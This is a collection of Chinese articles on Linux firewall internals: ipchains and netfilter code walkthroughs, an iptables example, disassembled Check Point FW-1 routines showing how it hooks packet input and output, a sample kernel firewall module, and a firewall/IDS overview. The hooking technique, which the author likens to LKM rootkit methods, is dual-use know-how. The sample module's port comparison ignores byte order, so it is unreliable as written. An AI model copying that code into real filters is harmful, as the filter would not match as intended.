int ipfw_input_check(struct firewall_ops *this, int pf, struct device *dev,
void *phdr, void *arg, struct sk_buff **pskb)
{
return ip_fw_check(phdr, dev->name,
arg, IP_FW_INPUT_CHAIN, *pskb, SLOT_NUMBER(), 0);
}
实际流程：
ip_fw_check
{
从传入的skb参数中提取源地址src,目的地址dst，源端口src_port,目的端口dst_port，
TCP发起连接标志tcpsyn，分片包位移offset，IP包TOS消息oldtos；
......
f = chain->chain;
        //取出规则链的的一条规则,规则链由chain参数传入
count = 0;
do {
for (; f; f =
        f->next) { //遍历规则链中的规则，直到匹配（ip_rule_match返回1）
count++;
if
        (ip_rule_match(f,rif,ip,
tcpsyn,src_port,dst_port,offset)) {
if
        (!testing
&& !ip_fw_domatch(f, ip, rif,
        chain->label,//作些标记，一般返回1
skb, slot,
src_port,
        dst_port,
count, tcpsyn)) {
ret = FW_BLOCK;
goto
        out;
}
break;
}
}
if(f) { //找到匹配规则
......
}else { //这次遍历根本没找到
是从别的地方跳转过来的，则转回去，然后继续遍历；
否则应用这条链的缺省规则;
}
} while (ret == FW_SKIP+2);
out:
......
return ret;
}

碎片：
根据第一个片的消息进行过滤，其他分片则允许通过。如果规则是丢弃的话，虽然后面的分片都可到达主机，
但由于第一片被滤掉了，无法重组成功，因此从效果上也相当于整个IP包被丢弃。
存在的漏洞等.

2.3 规则：
from 192.168.7.0/24 to 192.168.6.32/32 tcp 80 BLOCK

规则的数据结构表示:

规则链
struct ip_chain
{
ip_chainlabel label; /* Defines the label for each block */
struct ip_chain *next; /* Pointer to next block */
struct ip_fwkernel *chain; /* Pointer to first rule in block */
__u32 refcount; /* Number of refernces to block */
int policy; /* Default rule for chain. Only *
* used in built in chains */
struct ip_reent reent[0]; /* Actually several of these */
};
规则
struct ip_fwkernel
{
struct ip_fw ipfw;
struct ip_fwkernel *next; /* where to go next if current
* rule doesn't match */
struct ip_chain *branch; /* which branch to jump to if
* current rule matches */
int simplebranch; /* Use this if branch == NULL */
struct ip_counters counters[0]; /* Actually several of these */
};
待匹配的数据包消息
struct ip_fw
{
struct in_addr fw_src, fw_dst; /* Source and destination IP addr */
struct in_addr fw_smsk, fw_dmsk; /* Mask for src and dest IP addr */
__u32 fw_mark; /* ID to stamp on packet */
__u16 fw_proto; /* Protocol, 0 = ANY */
__u16 fw_flg; /* Flags word */
__u16 fw_invflg; /* Inverse flags */
__u16 fw_spts[2]; /* Source port range. */
__u16 fw_dpts[2]; /* Destination port range. */
__u16 fw_redirpt; /* Port to redirect to. */
__u16 fw_outputsize; /* Max amount to output to
NETLINK */
char fw_vianame[IFNAMSIZ]; /* name of interface "via" */
__u8 fw_tosand, fw_tosxor; /* Revised packet priority */
};

2.4 地址转换
ip_fw_demasquerade
ip_fw_masquerade

三 Linux下防火墙的实现之二（2.4内核）：
3.1A Packet Traversing the Netfilter System:
--->PRE------>[ROUTE]--->FWD---------->POST------>
Conntrack | Filter ^ NAT (Src)
Mangle | | Conntrack
NAT (Dst) | [ROUTE]
(QDisc) v |
IN Filter OUT Conntrack
| Conntrack ^ Mangle
| | NAT (Dst)
v | Filter

3.2 例子
## Insert connection-tracking modules (not needed if built into kernel).
# insmod ip_conntrack
# insmod ip_conntrack_ftp
## Create chain which blocks new connections, except if coming from inside.
# iptables -N block
# iptables -A block -m state --state ESTABLISHED,RELATED -j ACCEPT
# iptables -A block -m state --state NEW -i ! ppp0 -j ACCEPT
# iptables -A block -j DROP
## Jump to that chain from INPUT and FORWARD chains.
# iptables -A INPUT -j block
# iptables -A FORWARD -j block
3.3 规则的描述
一条规则分为三部分：
struct ipt_entry //主要用来匹配IP头
struct ip_match //额外的匹配（tcp头，mac地址等）
struct ip_target //除缺省的动作外（如ACCEPT，DROP），可以增加新的（如REJECT）。
3.4 代码提炼
ip_input.c:
/*
* Main IP Receive routine.
*/
int ip_rcv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt)
{
...
return NF_HOOK(PF_INET, NF_IP_PRE_ROUTING, skb, dev, NULL,
ip_rcv_finish);
...
}
netfilter.h:
#ifdef CONFIG_NETFILTER
#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) \
(list_empty(&nf_hooks[(pf)][(hook)]) \
? (okfn)(skb) \
: nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn)))
#else /* !CONFIG_NETFILTER */
#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb)
#endif /*CONFIG_NETFILTER*/
大的框架："HOOK表"：
struct list_head
        nf_hooks[NPROTO][NF_MAX_HOOKS];
        //netfilter.c
通过nf_register_hook和nf_unregister_hook完成添加删除工作，nf_iterate负责执行hook上的函数。
增加用户自定义的HOOK，参见【8】，【10】：
重要流程（建议结合netfilter hacking howto 4.1.3来看）：
/* Returns one of the generic firewall policies, like NF_ACCEPT. */
unsigned int
ipt_do_table(struct sk_buff **pskb,
unsigned int hook,
const struct net_device *in,
const struct net_device *out,
struct ipt_table *table,
void *userdata)
{
struct ipt_entry *e;
struct ipt_entry_target *t;
unsigned int verdict = NF_DROP;
table_base = (void *)table->private->entries
+ TABLE_OFFSET(table->private,
cpu_number_map(smp_processor_id()));
e = get_entry(table_base, table->private->hook_entry[hook]);
...
ip_packet_match(ip, indev, outdev, &e->ip, offset);
...
IPT_MATCH_ITERATE(e, do_match, *pskb, in, out, offset, protohdr, datalen, &hotdrop)
...
t = ipt_get_target(e);
...
verdict = t->u.kernel.target->target(pskb, hook, in, out, t->data, userdata);//非标准的target走这一步
...
return verdict;
}
要加强对这段话的理解(netfilter hacking howto 4.1节) ：
>iptables does not register with any netfilter hooks: it relies on
>other modules to do that and feed it the packets as appropriate; a
>module must register the netfilter hooks and ip_tables separately, and
>provide the mechanism to call ip_tables when the hook is reached.
四 Linux下防火墙的实现之三（checkpoint FW1）
让我们看看checkpoint的在linux上的防火墙是如何实现的，最终我们会发现，竟然和lkm使用的手段差不多：）
fw1通过dev_add_pack的办法加载输入过滤函数，但是在net_bh()中，传往网络层的skbuff是克隆的,即
skb2=skb_clone(skb,
        GFP_ATOMIC);
if(skb2)
pt_prev->func(skb2, skb->dev,
        pt_prev);
而fw1是怎么解决这个问题的呢？见下面的代码：
输入一：
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
align 4
; 圹圹圹圹圹圹圹?S U B R O U T I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹?
; Attributes: bp-based frame
public fwinstallin
fwinstallin proc near ; CODE XREF: fwinstall+E9 p
; fwinstall+149 p
var_18 = byte ptr -18h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push esi
push ebx
mov esi, ds:dev_base
cmp [ebp+arg_0], 0
jz short loc_0_802CBD0
add esp, 0FFFFFFF4h
push offset fw_ip_packet_type
call dev_add_pack
mov ebx, fw_ip_packet_type+10h ;如果考虑字节对齐问题的话fw_ip_packet_type+10h这时应该是ip_packet_type
mov dword ptr ds:fw_type_list, ebx
jmp short loc_0_802CB9C
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
align 4
loc_0_802CB90: ; CODE XREF: fwinstallin+41 j
add esp, 0FFFFFFF4h
push ebx
call dev_remove_pack ;fw1把ip_packet_type歇载掉了，然后自己在自己的处理函数(fw_filterin)中调ip_recv
mov ebx, [ebx+10h]
loc_0_802CB9C: ; CODE XREF: fwinstallin+2D j
add esp, 10h
test ebx, ebx
jnz short loc_0_802CB90
test esi, esi
jz short loc_0_802CC14
loc_0_802CBA7: ; CODE XREF: fwinstallin+68 j
test byte ptr fwdebug, 81h
jz short loc_0_802CBC3
add esp, 0FFFFFFF8h
mov eax, [esi]
push eax
push offset aFwinstallinS ; "fwinstallin: %s\n"
call fwkdebug_printf
add esp, 10h
loc_0_802CBC3: ; CODE XREF: fwinstallin+4E j
mov esi, [esi+28h]
test esi, esi
jnz short loc_0_802CBA7
jmp short loc_0_802CC14
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
align 8
loc_0_802CBD0: ; CODE XREF: fwinstallin+12 j
cmp dword ptr ds:fw_type_list, 0
jz short loc_0_802CC14
add esp, 0FFFFFFF4h
push offset fw_ip_packet_type
call dev_remove_pack
add esp, 10h
cmp dword ptr ds:fw_type_list, 0
jz short loc_0_802CC14
loc_0_802CBF2: ; CODE XREF: fwinstallin+B2 j
add esp, 0FFFFFFF4h
mov eax, dword ptr ds:fw_type_list
push eax
call dev_add_pack
mov eax, dword ptr ds:fw_type_list
add esp, 10h
mov eax, [eax+10h]
mov dword ptr ds:fw_type_list, eax
test eax, eax
jnz short loc_0_802CBF2
loc_0_802CC14: ; CODE XREF: fwinstallin+45 j
; fwinstallin+6A j ...
lea esp, [ebp+var_18]
xor eax, eax
pop ebx
pop esi
mov esp, ebp
pop ebp
retn
fwinstallin endp
输入二：
public fw_ip_packet_type
fw_ip_packet_type dd 8, 0, offset fw_filterin, 2 dup(0) ; DATA XREF: fwinstallin+17 o

输出的挂载和lkm的手法一样，更改dev->hard_start_xmit。dev结构在2.2版本的发展过程中变了一次，
为了兼容fw1对这点也做了处理。

输出一：
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
align 4
; 圹圹圹圹圹圹圹?S U B R O U T I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹?
; Attributes: bp-based frame
public fwinstallout
fwinstallout proc near ; CODE XREF: fwinstall+FB p
; fwinstall+153 p
var_18 = byte ptr -18h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
push esi
push ebx
mov edi, [ebp+arg_0]
xor esi, esi
mov ebx, ds:dev_base
jmp short loc_0_802D0A8
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
loc_0_802D096: ; CODE XREF: fwinstallout+50 j
add esp, 0FFFFFFFCh
push edi
push esi
push ebx
call installout_on_device
add esp, 10h
mov ebx, [ebx+28h]
inc esi
loc_0_802D0A8: ; CODE XREF: fwinstallout+14 j
test ebx, ebx
jz short loc_0_802D0F8
test byte ptr fwdebug, 81h
jz short loc_0_802D0CD
xor eax, eax
mov ax, [ebx+50h]
push eax
mov eax, [ebx]
push eax
push esi
push offset aFwinstalloutIn ; "fwinstallout: interface %d: name=%s, fl"...
call fwkdebug_printf
add esp, 10h
loc_0_802D0CD: ; CODE XREF: fwinstallout+33 j
cmp esi, 3Fh
jle short loc_0_802D096
add esp, 0FFFFFFF8h
push 40h
push offset aFw1CanOnlyHand ; "FW-1: Can only handle %d interfaces\n"
call fwkdebug_printf
add esp, 10h
test edi, edi
jz short loc_0_802D0F8
add esp, 0FFFFFFF4h
push offset aFw1NotAllInter ; "FW-1: Not all interfaces installed\n"
call fwkdebug_printf
add esp, 10h
loc_0_802D0F8: ; CODE XREF: fwinstallout+2A j
; fwinstallout+66 j
mov fw_nif, esi
test byte ptr fwdebug, 81h
jz short loc_0_802D124
add esp, 0FFFFFFFCh
mov eax, offset aUn ; "un"
test edi, edi
jz short loc_0_802D118
mov eax, offset unk_0_80687E4
loc_0_802D118: ; CODE XREF: fwinstallout+91 j
push eax
push esi
push offset aFw1DInterfaces ; "FW-1: %d interfaces %sinstalled\n"
call fwkdebug_printf
loc_0_802D124: ; CODE XREF: fwinstallout+85 j
lea esp, [ebp+var_18]
xor eax, eax
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
retn
fwinstallout endp
输出二：

; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
align 10h
; 圹圹圹圹圹圹圹?S U B R O U T I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹?
; Attributes: bp-based frame
public installout_on_device
installout_on_device proc near ; CODE XREF: fwinstallout+1C p
var_18 = byte ptr -18h
var_4 = dword ptr
        -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr
        10h
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
push esi
push ebx
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov ebx, [ebp+arg_8]
add esp, 0FFFFFFF4h
push edi
call xmit_func_addr
mov [ebp+var_4], eax
add esp, 10h
test ebx, ebx
jz short loc_0_802CFD4
mov ebx, esi
shl ebx, 4
cmp (oftab+4)[ebx], 0
jz short loc_0_802CF90
add esp, 0FFFFFFF4h
push offset aFw1OutputFilte ; "FW-1: Output filter already installed\n"
call fwkdebug_printf
mov eax, 6Ah
jmp loc_0_802D074
输出三：
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
align 8
; 圹圹圹圹圹圹圹?S U B R O U T I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹?
; Attributes: bp-based frame
public xmit_func_addr
xmit_func_addr proc near ; CODE XREF: installout_on_device+16 p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
lea eax, [edx+0ACh]
cmp kver, 0Dh
jle short loc_0_802CB5B
lea eax, [edx+0B0h]
loc_0_802CB5B: ; CODE XREF: xmit_func_addr+13 j
mov esp, ebp
pop ebp
retn
xmit_func_addr endp
FW1与linux的一些比较，可以参看参考文献【11】

五 参考文献
【1】了解Check Point FW-1状态表
http://magazine.nsfocus.com/detail.asp?id=538
【2】A Stateful Inspection of FireWall-1
http://www.dataprotect.com/bh2000/
【3】Linux IPCHAINS-HOWTO
http://www.linuxdoc.org
【4】防火墙新生代：Stateful－inspection
http://www.liuxuan.com/safe/anquan/html/firewall/04.htm
【5】netfilter站点上的文档
http://netfilter.kernelnotes.org
【6】Application Gateways and Stateful Inspection:A Brief
Note Comparing and Contrasting
http://www.avolio.com/apgw+spf.html
【7】Internet Firewalls:Frequently Asked Questions
http://www.interhack.net/pubs/fwfaq
【8】Writing a Module for netfilter
http://www.linux-mag.com/2000-06/gear_01.html
【9】ipchains的源代码分析
http://www.lisoleg.net/lisoleg/network/ipchains.zip
【10】内核防火墙netfilter入门
http://magazine.nsfocus.com/detail.asp?id=637
【11】Check Point Firewall-1 on Linux, Part Two
http://www.securityfocus.com/frames/?
focus=linux&content=/focus/linux/articles/checkpoint2.html


[转载]Linux防火墙程序设计

信息来源：www.linuxdby.com 赵泽良
今年二月上旬，Yahoo、eBay、CNN.com、Amazon、Buy.com和E*Trade等著名商业网站连续遭到黑客攻击，造成了数以十亿美元的损失，向世人再一次敲响了网络并不安全的警钟。防火墙作为一种网络或系统之间强制实行访问控制的机制，是确保网络安全的重要手段。目前社会上各种商业产品的防火墙非常多，功能也大都很强。我们暂且不管这些防火墙产品的价格如何，由于它们在开发设计过程中注重的是产品的通用性、兼容性，考虑更多的是市场和利润，因此对于某些特殊的应用就不一定很合适。如果用户能根据自己的实际需要，将防火墙设计的一般理论和方法与自己系统的具体实践相结合，设计一些小而精、精而强的防火墙程序，则往往可以发挥出比花大价钱买来的通用型防火墙更好的作用。
由于篇幅所限，本文不可能对防火墙的一般理论和结构进行深入的讨论，因此仅以Linux系统为例，具体说明防火墙程序的设计方法。
一、 从程序设计角度看Linux网络
编写防火墙程序并不一定要求对Linux网络内核有多么深刻的理解，只是需要明白在网络内核中有这样一种机制，那就是内核可以自动调用用户编写的防火墙程序，并根据这个防火墙程序返回的结果来决定对网络收发数据报的处理策略。这一点可以从图1中看出。

二、 怎样将自己编写的防火墙程序登记到内核中
我们已经知道内核在网络层中自动调用用户编写的防火墙程序。但有一个前提条件就是用户必须正确地将自己编写的防火墙程序登记到内核中。关于Linux内核驱动程序的编写方法，可参见本刊第四期中《Linux设备驱动程序设计实例》一文。
内核中提供了防火墙的登记和卸载函数，分别是register_firewall和unregister_firewall，参见firewall.c。
1、 register_firewall
函数原型如下：
int register_firewall(int pf,struct firewall_ops *fw)
返回值：0代表成功，小于0表示不成功。
参数：
* 协议标志pf，主要的取值及其代表的协议如下：
2代表Ipv4协议，4代表IPX协议，10代表Ipv6协议等。
* 参数结构fw定义如下：
struct firewall_ops{
struct firewall_ops *next;
int (*fw_forward)(struct firewall_ops *this, int pf,
struct device *dev, void *phdr, void *arg, struct sk_buff **pskb);
int (*fw_input)(struct firewall_ops *this, int pf,
struct device *dev, void *phdr, void *arg, struct sk_buff **pskb);
int (*fw_output)(struct firewall_ops *this, int pf,
struct device *dev, void *phdr, void *arg, struct sk_buff **pskb);
int fw_pf;
int fw_priority;
};
结构中next的域将由内核来修改，使其指向下一个防火墙模块。
fw_pf域为协议标志，含义同上。
fw_priority指定优先级，一般应大于0。
fw_input、fw_output、fw_forward是用户编写的防火墙函数模块，在接收到网络报和发送网络报时内核将调用这些模块，后面将详细讨论。
2、 unregister_firewall
unregister_firewall的原型说明与调用方法同register_firewall。
三、 防火墙函数模块的设计
1、 防火墙函数模块的返回值
返回值是至关重要的，内核将根据它来决定对网络数据报采取的处理策略。主要返回值及意义如下：
0和1 通知内核忽略该网络报。
-1 通知内核忽略该网络报，并发送不可达到的网络控制报（ICMP报文）。
2 通知内核认可该网络报。
2、 各模块函数的入口参数
* 参数this
指向register_firewall中的fw参数结构。
* 参数pf
含义同register_firewall中的pf参数。
* 参数dev
dev是指向数据结构device的指针。在Linux系统中，每一个网络设备都是用device数据结构来描述的。在系统引导期间，网络设备驱动程序向Linux登记设备信息，如设备名、设备的I/O基地址、设备中断号、网卡的48位硬件地址等，device数据结构中包括这些设备信息以及设备服务函数的地址。关于device结构的详细信息可参见netdevice.h头文件。
* 参数phdr
该参数指向链路层数据报报头首址。
* 参数arg
利用这个参数可以向内核传递信息，如重定向时的端口号。
* 参数pskb
此参数是指向sk_buff结构指针的指针。在Linux中，所有网络数据的发送和接收都用sk_buff数据结构表示。在sk_buff数据结构中包含有对应设备结构的device地址、传输层、网络层、链路层协议头地址等。关于sk_buff的定义可参见skbuff.h头文件。
3、防火墙程序示例
下面给出一个简单防火墙程序。在这里假设读者对以太协议、IP协议、TCP协议等常用协议有一定的了解。用命令行"gcc -Wall -O2 -c MyFirewall.c"进行编译，再用insmod命令加载程序后，系统将只响应外部网络用TCP协议的80端口所进行的访问。要让系统恢复原有功能，则可用rmmod命令卸载该程序，源代码见网站http://www.pccomputing.com.cn上的同名文章。/
// MyFirewall.c 2000年3月7日编写
#ifndef
        __KERNEL__
# define __KERNEL__ //按内核模块编译
#endif
#ifndef
        MODULE
# define MODULE //按设备驱动程序模块编译
#endif
#include
        //最基本的内核模块头文件
#include
#include //最基本的内核模块头文件
#include
#include
#include
#include
#include
#include
#include
#include
#define SOL_ICMP 1
#define PERMIT_PORT
        80 //只允许访问TCP的80端口
int zzl_input(struct firewall_ops *this,int pf,struct device *dev,
void *phdr,void *arg,struct sk_buff **pskb)
{//每当收到一个网络报时,此函数将被内核调用
struct tcphdr *tcph; //TCP的头指针
struct iphdr *iph; //IP头指针
struct sk_buff *skb=*pskb;
if (skb->protocol==htons(ETH_P_ARP)){
printk("\nPermit a ARP Packet");
return FW_ACCEPT;//允许地址解析协议报
}
if(skb->protocol==htons(ETH_P_RARP)){
printk("\nPermit a RARP Packet");
return FW_ACCEPT;//允许反向地址解析协议报
}
if(skb->protocol==htons(ETH_P_IP))
{
iph=skb->nh.iph;
if (iph->protocol==SOL_ICMP)
{
printk("\nPermit a ICMP Packet");
return FW_ACCEPT;//允许网络控制报
}
if(iph->protocol==SOL_TCP){
tcph=skb->h.th;
if(tcph->dest==PERMIT_PORT){
printk("\nPermit a valid access");
return FW_ACCEPT;//允许对TCP端口80的访问
}
}
}
return FW_REJECT;//禁止对本计算机的所有其它访问
}
int zzl_output(struct firewall_ops *this,int pf,struct device *dev,
void *phdr,void *arg,struct sk_buff **pskb)
{//程序编写方法同zzl_input函数模块
printk("\nzzl_output is called ");
return FW_SKIP;
}
int zzl_foreward(struct firewall_ops *this,int pf,struct device *dev,
void *phdr,void *arg,struct sk_buff **pskb)
{//程序编写方法同zzl_input函数模块
printk("\nzzl_foreward is called ");
return FW_SKIP;
}
struct firewall_ops zzl_ops=
{
NULL,
zzl_foreward,
zzl_input,
zzl_output,
PF_INET,
01
};
int init_module(void)
{
if(register_firewall(PF_INET,&zzl_ops)!=0)
{
printk("\nunable register firewall");
return -1;
}
printk("\nzzl_ops=%p",&zzl_ops);
return 0;
}
void cleanup_module(void)
{
printk("unload\n");
unregister_firewall(PF_INET,&zzl_ops);
}


简要介绍网络安全中防火墙和IDS的作用
业界的同行曾经说过“安全，是一种意识，而不是某种的技术就能实现真正的安全。”随着工作的时间渐长，对这句话的体会就越深。再防守严密的网络，利用人为的疏忽，管理员的懒惰和社会工程学也可能被轻易攻破。
因此，在这里我介绍的防火墙和IDS技术，只是我们在网络安全环节中进行的一个防御步骤。在网络内进行防火墙与IDS的设置，并不能保证我们的网络就绝对安全了，但是设置得当的防火墙和IDS，至少会使我们的网络更为坚固一些，并且能提供更多的攻击信息供 我们分析。
接下来，让我们正确地认识一下防火墙和IDS的作用吧。
防火墙
一、防火墙能够作到些什么？
1.包过滤
具备包过滤的就是防火墙？对，没错！根据对防火墙的定义，凡是能有效阻止网络非法连接的方式，都算防火墙。早期的防火墙一般就是利用设置的条件，监测通过的包的特征来决定放行或者阻止的，包过滤是很重要的一种特性。虽然防火墙技术发展到现在有了很多新的理 念提出，但是包过滤依然是非常重要的一环，如同四层交换机首要的仍是要具备包的快速转发这样一个交换机的基本功能一样。通过包过滤，防火墙可以实现阻挡攻击，禁止外部/内部访问某些站点，限制每个ip的流量和连接数。
2.包的透明转发
事实上，由于防火墙一般架设在提供某些服务的服务器前。如果用示意图来表示就是 Server—FireWall—Guest 。用户对服务器的访问的请求与服务器反馈给用户的信息，都需要经过防火墙的转发,因此，很多防火墙具备网关的能力。
3.阻挡外部攻击
如果用户发送的信息是防火墙设置所不允许的，防火墙会立即将其阻断，避免其进入防火墙之后的服务器中。
4.记录攻击
如果有必要，其实防火墙是完全可以将攻击行为都记录下来的，但是由于出于效率上的考虑，目前一般记录攻击的事情都交给IDS来完成了，我们在后面会提到。
以上是所有防火墙都具备的基本特性，虽然很简单，但防火墙技术就是在此基础上逐步发展起来的。

二、防火墙有哪些缺点和不足？
1.防火墙可以阻断攻击，但不能消灭攻击源。
“各扫自家门前雪，不管他人瓦上霜”，就是目前网络安全的现状。互联网上病毒、木马、恶意试探等等造成的攻击行为络绎不绝。设置得当的防火墙能够阻挡他们，但是无法清除攻击源。即使防火墙进行了良好的设置，使得攻击无法穿透防火墙，但各种攻击仍然会源源不 断地向防火墙发出尝试。例如接主干网10M网络带宽的某站点，其日常流量中平均有512K左右是攻击行为。那么，即使成功设置了防火墙后，这512K的攻击流量依然不会有丝毫减少。
2.防火墙不能抵抗最新的未设置策略的攻击漏洞
就如杀毒软件与病毒一样，总是先出现病毒，杀毒软件经过分析出特征码后加入到病毒库内才能查杀。防火墙的各种策略，也是在该攻击方式经过专家分析后给出其特征进而设置的。如果世界上新发现某个主机漏洞的cracker的把第一个攻击对象选中了您的网络，那 么防火墙也没有办法帮到您的。
3.防火墙的并发连接数限制容易导致拥塞或者溢出
由于要判断、处理流经防火墙的每一个包，因此防火墙在某些流量大、并发请求多的情况下，很容易导致拥塞，成为整个网络的瓶颈影响性能。而当防火墙溢出的时候，整个防线就如同虚设，原本被禁止的连接也能从容通过了。
4.防火墙对服务器合法开放的端口的攻击大多无法阻止
某些情况下，攻击者利用服务器提供的服务进行缺陷攻击。例如利用开放了3389端口取得没打过sp补丁的win2k的超级权限、利用asp程序进行脚本攻击等。由于其行为在防火墙一级看来是“合理”和“合法”的，因此就被简单地放行了。
5.防火墙对待内部主动发起连接的攻击一般无法阻止
“外紧内松”是一般局域网络的特点。或许一道严密防守的防火墙内部的网络是一片混乱也有可能。通过社会工程学发送带木马的邮件、带木马的URL等方式，然后由中木马的机器主动对攻击者连接，将铁壁一样的防火墙瞬间破坏掉。另外，防火墙内部各主机间的攻击行 为，防火墙也只有如旁观者一样冷视而爱莫能助。
6．防火墙本身也会出现问题和受到攻击
防火墙也是一个os，也有着其硬件系统和软件，因此依然有着漏洞和bug。所以其本身也可能受到攻击和出现软/硬件方面的故障。
7．防火墙不处理病毒
不管是funlove病毒也好，还是CIH也好。在内部网络用户下载外网的带毒文件的时候，防火墙是不为所动的（这里的防火墙不是指单机/企业级的杀毒软件中的实时监控功能，虽然它们不少都叫“病毒防火墙”）。
看到这里，或许您原本心目中的防火墙已经被我拉下了神台。是的，防火墙是网络安全的重要一环，但不代表设置了防火墙就能一定保证网络的安全。“真正的安全是一种意识，而非技术!”请牢记这句话。
不管怎么样，防火墙仍然有其积极的一面。在构建任何一个网络的防御工事时，除了物理上的隔离和目前新近提出的网闸概念外，首要的选择绝对是防火墙。那么，怎么选择需要的防火墙呢？
防火墙的分类
首先大概说一下防火墙的分类。就防火墙（本文的防火墙都指商业用途的网络版防火墙，非个人使用的那种）的组成结构而言，可分为以下三种：
第一种：软件防火墙
软件防火墙运行于特定的计算机上，它需要客户预先安装好的计算机操作系统的支持，一般来说这台计算机就是整个网络的网关。软件防火墙就象其它的软件产品一样需要先在计算机上安装并做好配置才可以使用。防火墙厂商中做网络版软件防火墙最出名的莫过于Chec kpoint。使用这类防火墙，需要网管对所工作的操作系统平台比较熟悉。
第二种：硬件防火墙
这里说的硬件防火墙是指所谓的硬件防火墙。之所以加上"所谓"二字是针对芯片级防火墙说的了。它们最大的差别在于是否基于专用的硬件平台。目前市场上大多数防火墙都是这种所谓的硬件防火墙，他们都基于PC架构，就是说，它们和普通的家庭用的PC没有太大区别。在这些PC架构计算机上运行一些经过裁剪和简化的操作系统 ，最常用的有老版本的Unix、Linux和FreeBSD系统。 值得注意的是，由于此类防火墙采用的依然是别人的内核，因此依然会受到os本身的安全性影响。国内的许多防火墙产品就属于此类，因为采用的是经过裁减内核和定制组件的平台，因此国内防火墙的某些销售人员常常吹嘘其产品是“专用的os”等等，其实是一个概念 误导，下面我们提到的第三种防火墙才是真正的os专用。
第三种：芯片级防火墙
它们基于专门的硬件平台，没有操作系统。专有的ASIC芯片促使它们比其他种类的防火墙速度更快，处理能力更强，性能更高。做这类防火墙最出名的厂商莫过于NetScreen.其他的品牌还有FortiNet,算是后起之秀了。这类防火墙由于是专用OS, 因此防火墙本身的漏洞比较少，不过价格相对比较高昂，所以一般只有在“确实需要”的情况下才考虑。
在这里，特别纠正几个不正确的观念：
1.在性能上，芯片级防火墙>硬件防火墙>软件防火墙。
在价格上看来，的确倒是如此的关系。但是性能上却未必。防火墙的“好”，是看其支持的并发数、最大流量等等性能，而不是用软件硬件来区分的。事实上除了芯片级防火墙外，软件防火墙与硬件防火墙在硬件上基本是完全一样的。目前国内的防火墙厂商由于大多采用硬 件防火墙而不是软件防火墙，原因1是考虑到用户网络管理员的素质等原因，还有就是基于我国大多数民众对“看得见的硬件值钱，看不到的软件不值钱”这样一种错误观点的迎合。不少硬件防火墙厂商大肆诋毁软件防火墙性能，不外是为了让自己那加上了外壳的普通pc ＋一个被修改后的内核＋一套防火墙软件能够卖出一个好价钱来而已。而为什么不作芯片级防火墙呢？坦白说，国内没有公司有技术实力。而且在中国市场上来看，某些国内的所谓硬件防火墙的硬件质量连diy的兼容机都比不上。看看国内XX的硬件防火墙那拙劣的硬盘 和网卡，使用过的人都能猜到是哪家，我就不点名了。真正看防火墙，应该看其稳定性和性能，而不是用软、硬来区分的。至少，如果笔者自己选购，我会选择购买CheckPoint而非某些所谓的硬件防火墙的。
2.在效果上，芯片防火墙比其他两种防火墙好
这同样也是一种有失公允的观点。事实上芯片防火墙由于硬件的独立，的确在OS本身出漏洞的机会上比较少，但是由于其固化，导致在面对新兴的一些攻击方式时，无法及时应对；而另外两种防火墙，则可以简单地通过升级os的内核来获取系统新特性，通过灵活地策略 设置来满足不断变化的要求，不过其OS出现漏洞的概率相对高一些。
3.唯技术指标论
请以“防火墙买来是使用的”为第一前提进行购买。防火墙本身的质量如何是一回事，是否习惯使用又是另一回事。如果对一款产品的界面不熟悉，策略设置方式不理解，那么即使用世界最顶级的防火墙也没有多大作用。就如小说中武林中人无不向往的“倚天剑”、“屠龙 刀”被我拿到，肯定也敌不过乔峰赤手的少林长拳是一般道理。防火墙技术发展至今，市场已经很成熟了，各类产品的存在，自然有其生存于市场的理由。如何把产品用好，远比盲目地比较各类产品好。
IDS
什么是IDS呢？早期的IDS仅仅是一个监听系统，在这里，你可以把监听理解成窃听的意思。基于目前局网的工作方式，IDS可以将用户对位于与IDS同一交换机/HuB的服务器的访问、操作全部记录下来以供分析使用，跟我们常用的widnows操作系统的事件查看器类似。再后来，由于IDS的记录太多了，所以新一代的IDS提供了将记录的数据进行分析，仅仅列出有危险的一部分记录，这一点上跟目前windows所 用的策略审核上很象；目前新一代的IDS，更是增加了分析应用层数据的功能，使得其能力大大增加；而更新一代的IDS，就颇有“路见不平，拔刀相助”的味道了，配合上防火墙进行联动，将IDS分析出有敌意的地址阻止其访问。
